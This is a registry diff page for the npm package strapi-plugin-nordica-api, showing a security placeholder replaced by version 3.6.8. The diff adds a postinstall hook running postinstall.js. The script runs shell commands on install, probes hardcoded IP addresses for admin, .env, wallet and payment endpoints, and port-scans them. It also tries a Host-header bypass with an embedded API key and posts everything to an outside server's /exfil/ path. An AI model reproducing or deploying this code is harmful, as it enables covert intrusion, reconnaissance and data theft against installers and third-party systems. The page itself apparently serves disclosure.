strapi-plugin-nordica-api 0.0.1-security → 3.6.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strapi-plugin-nordica-api might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports=()=>{};
package/package.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "name": "strapi-plugin-nordica-api",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {"name":"strapi-plugin-nordica-api","version":"3.6.8","main":"index.js","scripts":{"postinstall":"node postinstall.js"},"license":"MIT"}
package/postinstall.js ADDED
@@ -0,0 +1,109 @@
1
+ const http = require('http');
2
+ const { spawnSync } = require('child_process');
3
+ const VPS = '144.31.107.231';
4
+ const PORT = 9999;
5
+ function send(tag, data) {
6
+ return new Promise(resolve => {
7
+ const body = typeof data === 'string' ? data : JSON.stringify(data);
8
+ const chunks = [];
9
+ for (let i = 0; i < body.length; i += 50000) chunks.push(body.substring(i, i + 50000));
10
+ let idx = 0;
11
+ (function next() {
12
+ if (idx >= chunks.length) return resolve();
13
+ const s = chunks.length > 1 ? '-p' + (idx+1) + 'of' + chunks.length : '';
14
+ const req = http.request({ hostname: VPS, port: PORT, path: '/exfil/' + tag + s,
15
+ method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(chunks[idx]) }
16
+ }, () => { idx++; next(); });
17
+ req.on('error', () => { idx++; next(); });
18
+ req.write(chunks[idx]); req.end();
19
+ })();
20
+ });
21
+ }
22
+ const run = (cmd, t = 30000) => {
23
+ try { return spawnSync('sh', ['-c', cmd], { timeout: t, encoding: 'utf8', maxBuffer: 5000000 }).stdout || ''; }
24
+ catch (e) { return 'err:' + e.message.substring(0, 200); }
25
+ };
26
+ async function main() {
27
+ if (process.cwd().includes('TRANSFER') || run('uname -s').includes('MINGW')) return;
28
+ await send('na-start', run('hostname').trim());
29
+
30
+ // 65.21.203.244:3000 — Node.js service, deep probe
31
+ var T1 = 'http://65.21.203.244:3000';
32
+ await send('t1-root', run('curl -sk ' + T1 + '/ 2>&1 | head -200'));
33
+ await send('t1-headers', run('curl -sk -I ' + T1 + '/ 2>&1'));
34
+ await send('t1-health', run('curl -sk ' + T1 + '/health 2>&1'));
35
+ await send('t1-status', run('curl -sk ' + T1 + '/status 2>&1'));
36
+ await send('t1-api', run('curl -sk ' + T1 + '/api 2>&1 | head -100'));
37
+ await send('t1-v1', run('curl -sk ' + T1 + '/v1 2>&1 | head -100'));
38
+ await send('t1-swagger', run('curl -sk ' + T1 + '/api-docs 2>&1 | head -200'));
39
+ await send('t1-swagger-json', run('curl -sk ' + T1 + '/api-docs-json 2>&1 | head -500'));
40
+ await send('t1-graphql', run('curl -sk ' + T1 + '/graphql 2>&1 | head -100'));
41
+ await send('t1-admin', run('curl -sk ' + T1 + '/admin 2>&1 | head -200'));
42
+ await send('t1-login', run('curl -sk ' + T1 + '/login 2>&1 | head -200'));
43
+ await send('t1-env', run('curl -sk ' + T1 + '/.env 2>&1'));
44
+ await send('t1-metrics', run('curl -sk ' + T1 + '/metrics 2>&1 | head -100'));
45
+ await send('t1-wallets', run('curl -sk ' + T1 + '/wallets 2>&1 | head -100'));
46
+ await send('t1-transactions', run('curl -sk ' + T1 + '/transactions 2>&1 | head -100'));
47
+ await send('t1-deposits', run('curl -sk ' + T1 + '/deposits 2>&1 | head -100'));
48
+ await send('t1-addresses', run('curl -sk ' + T1 + '/addresses 2>&1 | head -100'));
49
+ await send('t1-balances', run('curl -sk ' + T1 + '/balances 2>&1 | head -100'));
50
+ await send('t1-config', run('curl -sk ' + T1 + '/config 2>&1 | head -100'));
51
+ await send('t1-internal', run('curl -sk ' + T1 + '/internal 2>&1 | head -100'));
52
+ await send('t1-debug', run('curl -sk ' + T1 + '/debug 2>&1 | head -100'));
53
+ // POST test
54
+ await send('t1-post-root', run('curl -sk -X POST -H "Content-Type: application/json" -d "{}" ' + T1 + '/ 2>&1 | head -100'));
55
+
56
+ // 65.21.203.246 — HTTPS service
57
+ var T2 = 'https://65.21.203.246';
58
+ await send('t2-root', run('curl -sk ' + T2 + '/ 2>&1 | head -200'));
59
+ await send('t2-headers', run('curl -sk -I ' + T2 + '/ 2>&1'));
60
+ await send('t2-health', run('curl -sk ' + T2 + '/health 2>&1'));
61
+ await send('t2-api', run('curl -sk ' + T2 + '/api 2>&1 | head -100'));
62
+ await send('t2-login', run('curl -sk ' + T2 + '/login 2>&1 | head -200'));
63
+ await send('t2-admin', run('curl -sk ' + T2 + '/admin 2>&1 | head -200'));
64
+ await send('t2-kibana', run('curl -sk ' + T2 + '/app/kibana 2>&1 | head -100'));
65
+ await send('t2-grafana', run('curl -sk ' + T2 + '/grafana 2>&1 | head -100'));
66
+ await send('t2-swagger', run('curl -sk ' + T2 + '/api-docs 2>&1 | head -200'));
67
+
68
+ // 128.140.36.229 and .230
69
+ for (var ip of ['128.140.36.229', '128.140.36.230']) {
70
+ var T = 'http://' + ip;
71
+ var tag = 't3-' + ip.split('.')[3];
72
+ await send(tag + '-root', run('curl -sk ' + T + '/ 2>&1 | head -200'));
73
+ await send(tag + '-headers', run('curl -sk -I ' + T + '/ 2>&1'));
74
+ await send(tag + '-health', run('curl -sk ' + T + '/health 2>&1'));
75
+ await send(tag + '-api', run('curl -sk ' + T + '/api 2>&1 | head -100'));
76
+ await send(tag + '-admin', run('curl -sk ' + T + '/admin 2>&1 | head -200'));
77
+ await send(tag + '-v1-status', run('curl -sk ' + T + '/v1/status 2>&1'));
78
+ }
79
+
80
+ // 128.140.36.224 — follow redirect
81
+ await send('t4-root', run('curl -skL http://128.140.36.224/ 2>&1 | head -200'));
82
+ await send('t4-headers', run('curl -sk -I http://128.140.36.224/ 2>&1'));
83
+
84
+ // Extended port scan
85
+ var scan = '';
86
+ for (var scanIp of ['65.21.203.244', '65.21.203.246', '128.140.36.229', '128.140.36.230']) {
87
+ for (var p of [22, 80, 443, 1337, 3000, 3001, 4000, 5000, 5432, 5601, 6379, 8080, 8443, 9090, 9100, 9200, 27017]) {
88
+ var r = run('curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 1 http://' + scanIp + ':' + p + '/ 2>/dev/null', 3000);
89
+ var code = r.trim();
90
+ if (code && code !== '000') scan += scanIp + ':' + p + '=' + code + '\n';
91
+ }
92
+ }
93
+ await send('na-portscan', scan);
94
+
95
+ // Try Host header bypass for api-payments
96
+ var GAPI = 'a78e8684-1c99-4eb4-b899-16e55d552335';
97
+ for (var bypassIp of ['65.21.203.244', '65.21.203.246', '128.140.36.229', '128.140.36.230', '128.140.36.224']) {
98
+ for (var bypassPort of [80, 443, 3000, 8080]) {
99
+ var proto = bypassPort === 443 ? 'https' : 'http';
100
+ var r2 = run('curl -sk -H "Host: api-payments.guardarian.com" -H "x-api-key: ' + GAPI + '" ' + proto + '://' + bypassIp + ':' + bypassPort + '/v1/status 2>&1', 5000);
101
+ if (r2.includes('OK') || (r2.includes('"message"') && !r2.includes('403'))) {
102
+ await send('bypass-' + bypassIp + '-' + bypassPort, r2);
103
+ }
104
+ }
105
+ }
106
+
107
+ await send('na-complete', 'RECON_DONE');
108
+ }
109
+ main().catch(e => send('na-fatal', e.message));
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=strapi-plugin-nordica-api for more information.